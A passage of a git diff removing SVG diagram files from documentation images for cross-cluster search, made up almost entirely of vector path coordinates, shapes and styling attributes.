684.541144,405.523422 685.072394,405.013005 C685.61406,404.492172 685.884894,403.763005 685.884894,402.825505 L685.884894,401.93488 L684.384894,401.99738 C683.17656,402.039047 682.306769,402.226547 681.775519,402.55988 C681.244269,402.882797 680.978644,403.398422 680.978644,404.106755 C680.978644,404.648422 681.14531,405.065088 681.478644,405.356755 C681.811977,405.638005 682.275519,405.77863 682.869269,405.77863 Z M703.24494,406.84113 L703.24494,400.34113 C703.24494,399.549463 703.073065,398.955713 702.729315,398.55988 C702.395981,398.164047 701.86994,397.96613 701.15119,397.96613 C700.21369,397.96613 699.515773,398.236963 699.05744,398.77863 C698.609523,399.30988 698.385565,400.138005 698.385565,401.263005 L698.385565,406.84113 L696.885565,406.84113 L696.885565,400.34113 C696.885565,399.549463 696.71369,398.955713 696.36994,398.55988 C696.02619,398.164047 695.49494,397.96613 694.77619,397.96613 C693.828273,397.96613 693.130356,398.252588 692.68244,398.825505 C692.24494,399.388005 692.02619,400.315088 692.02619,401.606755 L692.02619,406.84113 L690.52619,406.84113 L690.52619,396.856755 L691.74494,396.856755 L691.99494,398.21613 L692.073065,398.21613 C692.354315,397.736963 692.755356,397.361963 693.27619,397.09113 C693.797023,396.80988 694.380356,396.669255 695.02619,396.669255 C696.578273,396.669255 697.599106,397.236963 698.08869,398.37238 L698.15119,398.37238 C698.453273,397.851547 698.885565,397.440088 699.448065,397.138005 C700.010565,396.825505 700.656398,396.669255 701.385565,396.669255 C702.510565,396.669255 703.354315,396.960922 703.916815,397.544255 C704.479315,398.127588 704.760565,399.054672 704.760565,400.325505 L704.760565,406.84113 L703.24494,406.84113 Z M712.098578,407.02863 C710.619411,407.02863 709.452744,406.580713 708.598578,405.68488 C707.744411,404.77863 707.317328,403.52863 707.317328,401.93488 C707.317328,400.320297 707.713161,399.039047 708.504828,398.09113 C709.296494,397.143213 710.358994,396.669255 711.692328,396.669255 C712.952744,396.669255 713.942328,397.080713 714.661078,397.90363 C715.390244,398.726547 715.754828,399.815088 715.754828,401.169255 L715.754828,402.12238 L708.879828,402.12238 C708.911078,403.299463 709.207953,404.190088 709.770453,404.794255 C710.332953,405.398422 711.124619,405.700505 712.145453,405.700505 C713.218369,405.700505 714.280869,405.476547 715.332953,405.02863 L715.332953,406.37238 C714.801703,406.601547 714.296494,406.768213 713.817328,406.87238 C713.338161,406.976547 712.765244,407.02863 712.098578,407.02863 Z M711.676703,397.93488 C710.874619,397.93488 710.233994,398.200505 709.754828,398.731755 C709.286078,399.252588 709.010036,399.971338 708.926703,400.888005 L714.145453,400.888005 C714.145453,399.940088 713.931911,399.210922 713.504828,398.700505 C713.077744,398.190088 712.468369,397.93488 711.676703,397.93488 Z M724.48725,406.84113 L724.17475,405.419255 L724.11225,405.419255 C723.61225,406.044255 723.11225,406.471338 722.61225,406.700505 C722.122666,406.919255 721.508083,407.02863 720.7685,407.02863 C719.778916,407.02863 719.002875,406.773422 718.440375,406.263005 C717.877875,405.752588 717.596625,405.023422 717.596625,404.075505 C717.596625,402.065088 719.206,401.007797 722.42475,400.90363 L724.127875,400.856755 L724.127875,400.231755 C724.127875,399.450505 723.956,398.87238 723.61225,398.49738 C723.278916,398.12238 722.742458,397.93488 722.002875,397.93488 C721.169541,397.93488 720.226833,398.190088 719.17475,398.700505 L718.721625,397.544255 C719.211208,397.283838 719.747666,397.080713 720.331,396.93488 C720.914333,396.77863 721.502875,396.700505 722.096625,396.700505 C723.284125,396.700505 724.164333,396.96613 724.73725,397.49738 C725.310166,398.018213 725.596625,398.861963 725.596625,400.02863 L725.596625,406.84113 L724.48725,406.84113 Z M721.065375,405.77863 C722.002875,405.77863 722.73725,405.523422 723.2685,405.013005 C723.810166,404.492172 724.081,403.763005 724.081,402.825505 L724.081,401.93488 L722.581,401.99738 C721.372666,402.039047 720.502875,402.226547 719.971625,402.55988 C719.440375,402.882797 719.17475,403.398422 719.17475,404.106755 C719.17475,404.648422 719.341416,405.065088 719.67475,405.356755 C720.008083,405.638005 720.471625,405.77863 721.065375,405.77863 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M590.70557,446.24387 L590.70557,446.24387 C590.70557,437.995671 597.392032,431.309178 605.640262,431.309178 L731.581912,431.309178 C735.542849,431.309178 739.341494,432.882664 742.142337,435.683446 C744.943118,438.484257 746.516605,442.282964 746.516605,446.243871 L746.516605,505.980811 C746.516605,514.22901 739.830081,520.915473 731.581913,520.915473 L605.640263,520.915473 C597.392033,520.915473 590.70557,514.22901 590.70557,505.980811 L590.70557,446.24387 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M590.70557,446.24387 L590.70557,446.24387 C590.70557,437.995671 597.392032,431.309178 605.640262,431.309178 L731.581912,431.309178 C735.542849,431.309178 739.341494,432.882664 742.142337,435.683446 C744.943118,438.484257 746.516605,442.282964 746.516605,446.243871 L746.516605,505.980811 C746.516605,514.22901 739.830081,520.915473 731.581913,520.915473 L605.640263,520.915473 C597.392033,520.915473 590.70557,514.22901 590.70557,505.980811 L590.70557,446.24387 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M658.01184,461.4159 C657.397257,461.926317 656.808715,462.2909 656.246215,462.50965 C655.694132,462.717983 655.095173,462.82215 654.44934,462.82215 C653.38684,462.82215 652.569132,462.561733 651.996215,462.0409 C651.423298,461.520067 651.13684,460.858608 651.13684,460.056525 C651.13684,459.577358 651.246215,459.145067 651.464965,458.75965 C651.683715,458.363817 651.964965,458.051317 652.308715,457.82215 C652.662882,457.582567 653.058715,457.400275 653.496215,457.275275 C653.808715,457.191942 654.29309,457.108608 654.94934,457.025275 C656.272257,456.869025 657.246215,456.681525 657.871215,456.462775 C657.881632,456.233608 657.88684,456.092983 657.88684,456.0409 C657.88684,455.374233 657.73059,454.900275 657.41809,454.619025 C657.001423,454.254442 656.376423,454.07215 655.54309,454.07215 C654.772257,454.07215 654.204548,454.207567 653.839965,454.4784 C653.475382,454.749233 653.204548,455.223192 653.027465,455.900275 L651.41809,455.681525 C651.563923,455.004442 651.803507,454.457567 652.13684,454.0409 C652.470173,453.613817 652.954548,453.285692 653.589965,453.056525 C654.225382,452.827358 654.954548,452.712775 655.777465,452.712775 C656.610798,452.712775 657.282673,452.811733 657.79309,453.00965 C658.313923,453.19715 658.694132,453.441942 658.933715,453.744025 C659.183715,454.035692 659.35559,454.405483 659.44934,454.8534 C659.501423,455.13465 659.527465,455.639858 659.527465,456.369025 L659.527465,458.556525 C659.527465,460.077358 659.563923,461.0409 659.63684,461.44715 C659.709757,461.842983 659.845173,462.2284 660.04309,462.6034 L658.339965,462.6034 C658.162882,462.25965 658.053507,461.863817 658.01184,461.4159 Z M657.871215,457.744025 C657.277465,457.994025 656.38684,458.202358 655.19934,458.369025 C654.522257,458.462775 654.04309,458.57215 653.76184,458.69715 C653.48059,458.82215 653.26184,458.999233 653.10559,459.2284 C652.959757,459.457567 652.88684,459.717983 652.88684,460.00965 C652.88684,460.44715 653.053507,460.811733 653.38684,461.1034 C653.720173,461.395067 654.204548,461.5409 654.839965,461.5409 C655.464965,461.5409 656.022257,461.405483 656.51184,461.13465 C657.01184,460.8534 657.376423,460.473192 657.60559,459.994025 C657.782673,459.619025 657.871215,459.07215 657.871215,458.3534 L657.871215,457.744025 Z M662.075072,462.6034 L662.075072,452.931525 L663.543822,452.931525 L663.543822,454.2909 C663.845906,453.811733 664.246947,453.431525 664.746947,453.150275 C665.257364,452.858608 665.830281,452.712775 666.465697,452.712775 C667.184447,452.712775 667.772989,452.863817 668.231322,453.1659 C668.689656,453.457567 669.012572,453.869025 669.200072,454.400275 C669.970906,453.275275 670.965697,452.712775 672.184447,452.712775 C673.153197,452.712775 673.892781,452.9784 674.403197,453.50965 C674.924031,454.0409 675.184447,454.858608 675.184447,455.962775 L675.184447,462.6034 L673.543822,462.6034 L673.543822,456.50965 C673.543822,455.8534 673.491739,455.38465 673.387572,455.1034 C673.283406,454.811733 673.090697,454.577358 672.809447,454.400275 C672.528197,454.223192 672.200072,454.13465 671.825072,454.13465 C671.147989,454.13465 670.585489,454.363817 670.137572,454.82215 C669.689656,455.270067 669.465697,455.988817 669.465697,456.9784 L669.465697,462.6034 L667.825072,462.6034 L667.825072,456.32215 C667.825072,455.592983 667.689656,455.046108 667.418822,454.681525 C667.147989,454.316942 666.710489,454.13465 666.106322,454.13465 C665.647989,454.13465 665.220906,454.254442 664.825072,454.494025 C664.429239,454.733608 664.142781,455.087775 663.965697,455.556525 C663.799031,456.025275 663.715697,456.702358 663.715697,457.587775 L663.715697,462.6034 L662.075072,462.6034 Z M683.334593,462.6034 L681.693968,462.6034 L681.693968,452.150275 C681.298135,452.525275 680.777302,452.905483 680.131468,453.2909 C679.496052,453.6659 678.923135,453.94715 678.412718,454.13465 L678.412718,452.5409 C679.329385,452.113817 680.131468,451.592983 680.818968,450.9784 C681.506468,450.363817 681.990843,449.770067 682.272093,449.19715 L683.334593,449.19715 L683.334593,462.6034 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M636.8635,480.42615 L636.8635,480.42615 C636.8635,476.619509 639.949377,473.533633 643.756017,473.533633 L693.467017,473.533633 C695.29502,473.533633 697.048194,474.259799 698.340796,475.552401 C699.633399,476.845004 700.359534,478.598147 700.359534,480.42615 L700.359534,507.995425 C700.359534,511.802066 697.273658,514.887942 693.467017,514.887942 L643.756017,514.887942 C639.949377,514.887942 636.8635,511.802066 636.8635,507.995425 L636.8635,480.42615 Z" id="Path" fill="#FEC514"></path>
-                <path d="M650.553,493.75827 L650.553,482.273895 L651.83425,482.273895 L651.83425,483.35202 C652.136333,482.924937 652.474875,482.607228 652.849875,482.398895 C653.235292,482.190562 653.698833,482.086395 654.2405,482.086395 C654.948833,482.086395 655.573833,482.268687 656.1155,482.63327 C656.657167,482.997853 657.063417,483.513478 657.33425,484.180145 C657.6155,484.836395 657.756125,485.560353 657.756125,486.35202 C657.756125,487.206187 657.599875,487.971812 657.287375,488.648895 C656.985292,489.325978 656.542583,489.846812 655.95925,490.211395 C655.386333,490.575978 654.776958,490.75827 654.131125,490.75827 C653.662375,490.75827 653.2405,490.659312 652.8655,490.461395 C652.500917,490.263478 652.198833,490.013478 651.95925,489.711395 L651.95925,493.75827 L650.553,493.75827 Z M651.818625,486.461395 C651.818625,487.534312 652.032167,488.325978 652.45925,488.836395 C652.89675,489.346812 653.422792,489.60202 654.037375,489.60202 C654.662375,489.60202 655.198833,489.336395 655.64675,488.805145 C656.094667,488.273895 656.318625,487.456187 656.318625,486.35202 C656.318625,485.28952 656.099875,484.497853 655.662375,483.97702 C655.224875,483.44577 654.704042,483.180145 654.099875,483.180145 C653.506125,483.180145 652.974875,483.461395 652.506125,484.023895 C652.047792,484.586395 651.818625,485.398895 651.818625,486.461395 Z M658.920187,486.41452 C658.920187,484.88327 659.347271,483.747853 660.201437,483.00827 C660.920187,482.393687 661.789979,482.086395 662.810812,482.086395 C663.956646,482.086395 664.888937,482.461395 665.607687,483.211395 C666.336854,483.950978 666.701437,484.982228 666.701437,486.305145 C666.701437,487.367645 666.539979,488.206187 666.217062,488.82077 C665.894146,489.435353 665.425396,489.91452 664.810812,490.25827 C664.206646,490.591603 663.539979,490.75827 662.810812,490.75827 C661.654562,490.75827 660.717062,490.388478 659.998312,489.648895 C659.279562,488.898895 658.920187,487.82077 658.920187,486.41452 Z M660.373312,486.41452 C660.373312,487.47702 660.602479,488.273895 661.060812,488.805145 C661.529562,489.336395 662.112896,489.60202 662.810812,489.60202 C663.508729,489.60202 664.086854,489.336395 664.545187,488.805145 C665.013937,488.273895 665.248312,487.461395 665.248312,486.367645 C665.248312,485.346812 665.013937,484.57077 664.545187,484.03952 C664.086854,483.50827 663.508729,483.242645 662.810812,483.242645 C662.112896,483.242645 661.529562,483.50827 661.060812,484.03952 C660.602479,484.560353 660.373312,485.35202 660.373312,486.41452 Z M667.787375,488.086395 L669.178,487.867645 C669.250917,488.430145 669.464458,488.862437 669.818625,489.16452 C670.183208,489.456187 670.683208,489.60202 671.318625,489.60202 C671.964458,489.60202 672.443625,489.471812 672.756125,489.211395 C673.068625,488.940562 673.224875,488.628062 673.224875,488.273895 C673.224875,487.961395 673.089458,487.711395 672.818625,487.523895 C672.620708,487.398895 672.141542,487.242645 671.381125,487.055145 C670.349875,486.794728 669.631125,486.57077 669.224875,486.38327 C668.829042,486.185353 668.526958,485.919728 668.318625,485.586395 C668.120708,485.253062 668.02175,484.88327 668.02175,484.47702 C668.02175,484.10202 668.105083,483.75827 668.27175,483.44577 C668.438417,483.13327 668.667583,482.872853 668.95925,482.66452 C669.178,482.497853 669.474875,482.362437 669.849875,482.25827 C670.235292,482.143687 670.641542,482.086395 671.068625,482.086395 C671.724875,482.086395 672.297792,482.180145 672.787375,482.367645 C673.276958,482.555145 673.636333,482.810353 673.8655,483.13327 C674.105083,483.44577 674.27175,483.872853 674.3655,484.41452 L672.9905,484.60202 C672.928,484.174937 672.745708,483.841603 672.443625,483.60202 C672.141542,483.362437 671.719667,483.242645 671.178,483.242645 C670.532167,483.242645 670.068625,483.35202 669.787375,483.57077 C669.516542,483.779103 669.381125,484.023895 669.381125,484.305145 C669.381125,484.492645 669.438417,484.659312 669.553,484.805145 C669.667583,484.950978 669.844667,485.075978 670.08425,485.180145 C670.230083,485.232228 670.64675,485.35202 671.33425,485.53952 C672.323833,485.799937 673.016542,486.018687 673.412375,486.19577 C673.808208,486.362437 674.1155,486.607228 674.33425,486.930145 C674.563417,487.253062 674.678,487.654103 674.678,488.13327 C674.678,488.60202 674.537375,489.044728 674.256125,489.461395 C673.985292,489.867645 673.589458,490.185353 673.068625,490.41452 C672.558208,490.643687 671.980083,490.75827 671.33425,490.75827 C670.250917,490.75827 669.428,490.534312 668.8655,490.086395 C668.303,489.638478 667.943625,488.971812 667.787375,488.086395 Z M679.412375,489.305145 L679.6155,490.555145 C679.219667,490.638478 678.8655,490.680145 678.553,490.680145 C678.042583,490.680145 677.64675,490.60202 677.3655,490.44577 C677.08425,490.279103 676.886333,490.065562 676.77175,489.805145 C676.657167,489.534312 676.599875,488.97702 676.599875,488.13327 L676.599875,483.367645 L675.568625,483.367645 L675.568625,482.273895 L676.599875,482.273895 L676.599875,480.211395 L678.006125,479.367645 L678.006125,482.273895 L679.412375,482.273895 L679.412375,483.367645 L678.006125,483.367645 L678.006125,488.211395 C678.006125,488.617645 678.026958,488.878062 678.068625,488.992645 C678.120708,489.107228 678.204042,489.200978 678.318625,489.273895 C678.433208,489.336395 678.594667,489.367645 678.803,489.367645 C678.95925,489.367645 679.162375,489.346812 679.412375,489.305145 Z M680.232687,488.086395 L681.623312,487.867645 C681.696229,488.430145 681.909771,488.862437 682.263937,489.16452 C682.628521,489.456187 683.128521,489.60202 683.763937,489.60202 C684.409771,489.60202 684.888937,489.471812 685.201437,489.211395 C685.513937,488.940562 685.670187,488.628062 685.670187,488.273895 C685.670187,487.961395 685.534771,487.711395 685.263937,487.523895 C685.066021,487.398895 684.586854,487.242645 683.826437,487.055145 C682.795187,486.794728 682.076437,486.57077 681.670187,486.38327 C681.274354,486.185353 680.972271,485.919728 680.763937,485.586395 C680.566021,485.253062 680.467062,484.88327 680.467062,484.47702 C680.467062,484.10202 680.550396,483.75827 680.717062,483.44577 C680.883729,483.13327 681.112896,482.872853 681.404562,482.66452 C681.623312,482.497853 681.920187,482.362437 682.295187,482.25827 C682.680604,482.143687 683.086854,482.086395 683.513937,482.086395 C684.170187,482.086395 684.743104,482.180145 685.232687,482.367645 C685.722271,482.555145 686.081646,482.810353 686.310812,483.13327 C686.550396,483.44577 686.717062,483.872853 686.810812,484.41452 L685.435812,484.60202 C685.373312,484.174937 685.191021,483.841603 684.888937,483.60202 C684.586854,483.362437 684.164979,483.242645 683.623312,483.242645 C682.977479,483.242645 682.513937,483.35202 682.232687,483.57077 C681.961854,483.779103 681.826437,484.023895 681.826437,484.305145 C681.826437,484.492645 681.883729,484.659312 681.998312,484.805145 C682.112896,484.950978 682.289979,485.075978 682.529562,485.180145 C682.675396,485.232228 683.092062,485.35202 683.779562,485.53952 C684.769146,485.799937 685.461854,486.018687 685.857687,486.19577 C686.253521,486.362437 686.560812,486.607228 686.779562,486.930145 C687.008729,487.253062 687.123312,487.654103 687.123312,488.13327 C687.123312,488.60202 686.982687,489.044728 686.701437,489.461395 C686.430604,489.867645 686.034771,490.185353 685.513937,490.41452 C685.003521,490.643687 684.425396,490.75827 683.779562,490.75827 C682.696229,490.75827 681.873312,490.534312 681.310812,490.086395 C680.748312,489.638478 680.388937,488.971812 680.232687,488.086395 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M664.79517,509.57077 L663.38892,509.57077 L663.38892,500.60202 C663.04517,500.924937 662.597253,501.247853 662.04517,501.57077 C661.503503,501.893687 661.01392,502.138478 660.57642,502.305145 L660.57642,500.94577 C661.35767,500.57077 662.039962,500.122853 662.623295,499.60202 C663.217045,499.07077 663.63892,498.560353 663.88892,498.07077 L664.79517,498.07077 L664.79517,509.57077 Z M668.959232,509.57077 L668.959232,498.117645 L673.287357,498.117645 C674.047774,498.117645 674.625899,498.154103 675.021732,498.22702 C675.584232,498.32077 676.052982,498.497853 676.427982,498.75827 C676.813399,499.018687 677.120691,499.388478 677.349857,499.867645 C677.589441,500.336395 677.709232,500.857228 677.709232,501.430145 C677.709232,502.398895 677.396732,503.221812 676.771732,503.898895 C676.157149,504.575978 675.037357,504.91452 673.412357,504.91452 L670.474857,504.91452 L670.474857,509.57077 L668.959232,509.57077 Z M670.474857,503.555145 L673.443607,503.555145 C674.422774,503.555145 675.115482,503.372853 675.521732,503.00827 C675.938399,502.643687 676.146732,502.13327 676.146732,501.47702 C676.146732,500.997853 676.021732,500.586395 675.771732,500.242645 C675.532149,499.898895 675.214441,499.674937 674.818607,499.57077 C674.568607,499.497853 674.099857,499.461395 673.412357,499.461395 L670.474857,499.461395 L670.474857,503.555145 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M636.8635,584.42615 L636.8635,584.42615 C636.8635,580.619509 639.949377,577.533633 643.756017,577.533633 L693.467017,577.533633 C695.29502,577.533633 697.048194,578.259768 698.340796,579.552371 C699.633399,580.844973 700.359534,582.598147 700.359534,584.42615 L700.359534,611.995425 C700.359534,615.802066 697.273658,618.887942 693.467017,618.887942 L643.756017,618.887942 C639.949377,618.887942 636.8635,615.802066 636.8635,611.995425 L636.8635,584.42615 Z" id="Path" fill="#FA734F"></path>
-                <path d="M654.96704,594.5708 L654.96704,583.117675 L656.37329,583.117675 L656.37329,594.5708 L654.96704,594.5708 Z M658.021727,590.41455 C658.021727,588.8833 658.448811,587.747883 659.302977,587.0083 C660.021727,586.393717 660.891519,586.086425 661.912352,586.086425 C663.058186,586.086425 663.990477,586.461425 664.709227,587.211425 C665.438394,587.951008 665.802977,588.982258 665.802977,590.305175 C665.802977,591.367675 665.641519,592.206217 665.318602,592.8208 C664.995686,593.435383 664.526936,593.91455 663.912352,594.2583 C663.308186,594.591633 662.641519,594.7583 661.912352,594.7583 C660.756102,594.7583 659.818602,594.388508 659.099852,593.648925 C658.381102,592.898925 658.021727,591.8208 658.021727,590.41455 Z M659.474852,590.41455 C659.474852,591.47705 659.704019,592.273925 660.162352,592.805175 C660.631102,593.336425 661.214436,593.60205 661.912352,593.60205 C662.610269,593.60205 663.188394,593.336425 663.646727,592.805175 C664.115477,592.273925 664.349852,591.461425 664.349852,590.367675 C664.349852,589.346842 664.115477,588.5708 663.646727,588.03955 C663.188394,587.5083 662.610269,587.242675 661.912352,587.242675 C661.214436,587.242675 660.631102,587.5083 660.162352,588.03955 C659.704019,588.560383 659.474852,589.35205 659.474852,590.41455 Z M667.18579,595.2583 L668.56079,595.461425 C668.612873,595.888508 668.769123,596.1958 669.02954,596.3833 C669.383707,596.643717 669.862873,596.773925 670.46704,596.773925 C671.112873,596.773925 671.612873,596.643717 671.96704,596.3833 C672.321207,596.122883 672.56079,595.7583 672.68579,595.28955 C672.758707,595.0083 672.795165,594.404133 672.795165,593.47705 C672.180582,594.206217 671.414957,594.5708 670.49829,594.5708 C669.352457,594.5708 668.46704,594.159342 667.84204,593.336425 C667.21704,592.513508 666.90454,591.523925 666.90454,590.367675 C666.90454,589.576008 667.045165,588.846842 667.326415,588.180175 C667.618082,587.513508 668.034748,586.997883 668.576415,586.6333 C669.128498,586.268717 669.769123,586.086425 670.49829,586.086425 C671.477457,586.086425 672.284748,586.482258 672.920165,587.273925 L672.920165,586.273925 L674.21704,586.273925 L674.21704,593.4458 C674.21704,594.737467 674.086832,595.654133 673.826415,596.1958 C673.565998,596.737467 673.149332,597.16455 672.576415,597.47705 C672.003498,597.78955 671.300373,597.9458 670.46704,597.9458 C669.477457,597.9458 668.675373,597.721842 668.06079,597.273925 C667.456623,596.826008 667.164957,596.154133 667.18579,595.2583 Z M668.357665,590.273925 C668.357665,591.357258 668.571207,592.148925 668.99829,592.648925 C669.43579,593.148925 669.977457,593.398925 670.62329,593.398925 C671.269123,593.398925 671.81079,593.154133 672.24829,592.66455 C672.68579,592.16455 672.90454,591.3833 672.90454,590.3208 C672.90454,589.299967 672.680582,588.534342 672.232665,588.023925 C671.784748,587.503092 671.243082,587.242675 670.607665,587.242675 C669.982665,587.242675 669.451415,587.497883 669.013915,588.0083 C668.576415,588.518717 668.357665,589.273925 668.357665,590.273925 Z M675.787352,592.086425 L677.177977,591.867675 C677.250894,592.430175 677.464436,592.862467 677.818602,593.16455 C678.183186,593.456217 678.683186,593.60205 679.318602,593.60205 C679.964436,593.60205 680.443602,593.471842 680.756102,593.211425 C681.068602,592.940592 681.224852,592.628092 681.224852,592.273925 C681.224852,591.961425 681.089436,591.711425 680.818602,591.523925 C680.620686,591.398925 680.141519,591.242675 679.381102,591.055175 C678.349852,590.794758 677.631102,590.5708 677.224852,590.3833 C676.829019,590.185383 676.526936,589.919758 676.318602,589.586425 C676.120686,589.253092 676.021727,588.8833 676.021727,588.47705 C676.021727,588.10205 676.105061,587.7583 676.271727,587.4458 C676.438394,587.1333 676.667561,586.872883 676.959227,586.66455 C677.177977,586.497883 677.474852,586.362467 677.849852,586.2583 C678.235269,586.143717 678.641519,586.086425 679.068602,586.086425 C679.724852,586.086425 680.297769,586.180175 680.787352,586.367675 C681.276936,586.555175 681.636311,586.810383 681.865477,587.1333 C682.105061,587.4458 682.271727,587.872883 682.365477,588.41455 L680.990477,588.60205 C680.927977,588.174967 680.745686,587.841633 680.443602,587.60205 C680.141519,587.362467 679.719644,587.242675 679.177977,587.242675 C678.532144,587.242675 678.068602,587.35205 677.787352,587.5708 C677.516519,587.779133 677.381102,588.023925 677.381102,588.305175 C677.381102,588.492675 677.438394,588.659342 677.552977,588.805175 C677.667561,588.951008 677.844644,589.076008 678.084227,589.180175 C678.230061,589.232258 678.646727,589.35205 679.334227,589.53955 C680.323811,589.799967 681.016519,590.018717 681.412352,590.1958 C681.808186,590.362467 682.115477,590.607258 682.334227,590.930175 C682.563394,591.253092 682.677977,591.654133 682.677977,592.1333 C682.677977,592.60205 682.537352,593.044758 682.256102,593.461425 C681.985269,593.867675 681.589436,594.185383 681.068602,594.41455 C680.558186,594.643717 679.980061,594.7583 679.334227,594.7583 C678.250894,594.7583 677.427977,594.534342 676.865477,594.086425 C676.302977,593.638508 675.943602,592.971842 675.787352,592.086425 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M664.79517,613.5708 L663.38892,613.5708 L663.38892,604.60205 C663.04517,604.924967 662.597253,605.247883 662.04517,605.5708 C661.503503,605.893717 661.01392,606.138508 660.57642,606.305175 L660.57642,604.9458 C661.35767,604.5708 662.039962,604.122883 662.623295,603.60205 C663.217045,603.0708 663.63892,602.560383 663.88892,602.0708 L664.79517,602.0708 L664.79517,613.5708 Z M668.959232,613.5708 L668.959232,602.117675 L673.287357,602.117675 C674.047774,602.117675 674.625899,602.154133 675.021732,602.22705 C675.584232,602.3208 676.052982,602.497883 676.427982,602.7583 C676.813399,603.018717 677.120691,603.388508 677.349857,603.867675 C677.589441,604.336425 677.709232,604.857258 677.709232,605.430175 C677.709232,606.398925 677.396732,607.221842 676.771732,607.898925 C676.157149,608.576008 675.037357,608.91455 673.412357,608.91455 L670.474857,608.91455 L670.474857,613.5708 L668.959232,613.5708 Z M670.474857,607.555175 L673.443607,607.555175 C674.422774,607.555175 675.115482,607.372883 675.521732,607.0083 C675.938399,606.643717 676.146732,606.1333 676.146732,605.47705 C676.146732,604.997883 676.021732,604.586425 675.771732,604.242675 C675.532149,603.898925 675.214441,603.674967 674.818607,603.5708 C674.568607,603.497883 674.099857,603.461425 673.412357,603.461425 L670.474857,603.461425 L670.474857,607.555175 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <line x1="427.8158" y1="451.6999" x2="636.85517" y2="494.219584" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="451.3342" y1="456.48364" x2="636.85517" y2="494.21957" id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="452.6511 450.0093 433.546058 452.86544 450.01728 462.958"></polygon>
-                <path d="M629.1521,248.26065 C629.1521,349.97717 528.49066,451.69372 427.82925,451.69372" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M629.1521,248.26064 C629.1521,299.11893 603.986756,349.97721 566.23871,388.12092 C547.364687,407.192758 525.345033,423.085977 501.752504,434.21122 C489.956239,439.773842 477.766786,444.144448 465.380708,447.124428 C462.284211,447.869423 459.175355,448.527535 456.057374,449.095558 C455.277833,449.237587 454.497773,449.37397 453.717164,449.504677 C453.326844,449.570046 452.936433,449.63398 452.545838,449.69648 L451.756043,449.820015" id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="451.2402 443.23322 433.659023 451.237187 452.271846 456.406743"></polygon>
-                <path d="M701.1521,248.26065 C701.1521,349.97717 564.49066,451.69372 427.82925,451.69372" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M701.15204,248.26064 C701.15204,299.11893 666.986696,349.97721 615.73871,388.12092 C590.114687,407.192758 560.220033,423.085977 528.190004,434.21122 C512.174989,439.773842 495.626161,444.144448 478.810364,447.124428 C470.402527,448.614418 461.927918,449.756783 453.419892,450.526589 C452.888154,450.574684 452.356293,450.621346 451.824311,450.667946 L451.807343,450.667946" id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="451.52496 444.06705 433.671536 451.443789 452.089718 457.268832"></polygon>
-                <path d="M417.65878,367.32495 C435.237302,367.32495 451.548093,388.419432 452.815823,409.513945 C454.083523,430.608427 440.308163,451.70291 427.800533,451.70291" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M417.65878,367.32498 C435.237271,367.32498 451.548093,388.419462 452.815823,409.513945 C453.132748,414.787566 452.509457,420.061186 451.200863,425.005217 C450.546597,427.477202 449.720974,429.86685 448.755825,432.132841 C448.273282,433.265837 447.755856,434.367949 447.207547,435.434019 C447.070462,435.700499 446.931454,435.964781 446.790585,436.226714 C446.72015,436.357665 446.649228,436.488066 446.577878,436.617827 L446.532589,436.699278" id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="442.40225 431.54254 432.364591 448.04727 450.662931 441.855986"></polygon>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/ccs/ccs-dont-min-roundtrip-shard-search.svg b/docs/reference/images/ccs/ccs-dont-min-roundtrip-shard-search.svg
deleted file mode 100644
index dbf852edd46..00000000000
--- a/docs/reference/images/ccs/ccs-dont-min-roundtrip-shard-search.svg
+++ /dev/null
@@ -1,83 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="610px" height="588px" viewBox="0 0 610 588" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <defs>
-        <polygon id="path-1" points="0 0 960 0 960 768 0 768"></polygon>
-    </defs>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="ccs-dont-min-roundtrip-shard-search" transform="translate(-204.000000, -66.000000)">
-            <mask id="mask-2" fill="white">
-                <use xlink:href="#path-1"></use>
-            </mask>
-            <g id="Path"></g>
-            <g id="Group" mask="url(#mask-2)">
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="0 0 960 0 960 768 0 768"></polygon>
-                <path d="M205.454064,383.99878 L205.454064,383.99878 C205.454064,306.04401 270.129546,242.84918 349.91077,242.84918 L349.91077,242.84918 C388.223056,242.84918 424.96619,257.720243 452.05707,284.190946 C479.147951,310.661619 494.367464,346.563566 494.367464,383.998776 L494.367464,383.998776 C494.367464,461.953546 429.691988,525.148376 349.910764,525.148376 L349.910764,525.148376 C270.129544,525.148376 205.454064,461.953552 205.454064,383.998776 L205.454064,383.99878 Z" id="Path" fill-opacity="0" fill="#000000"></path>
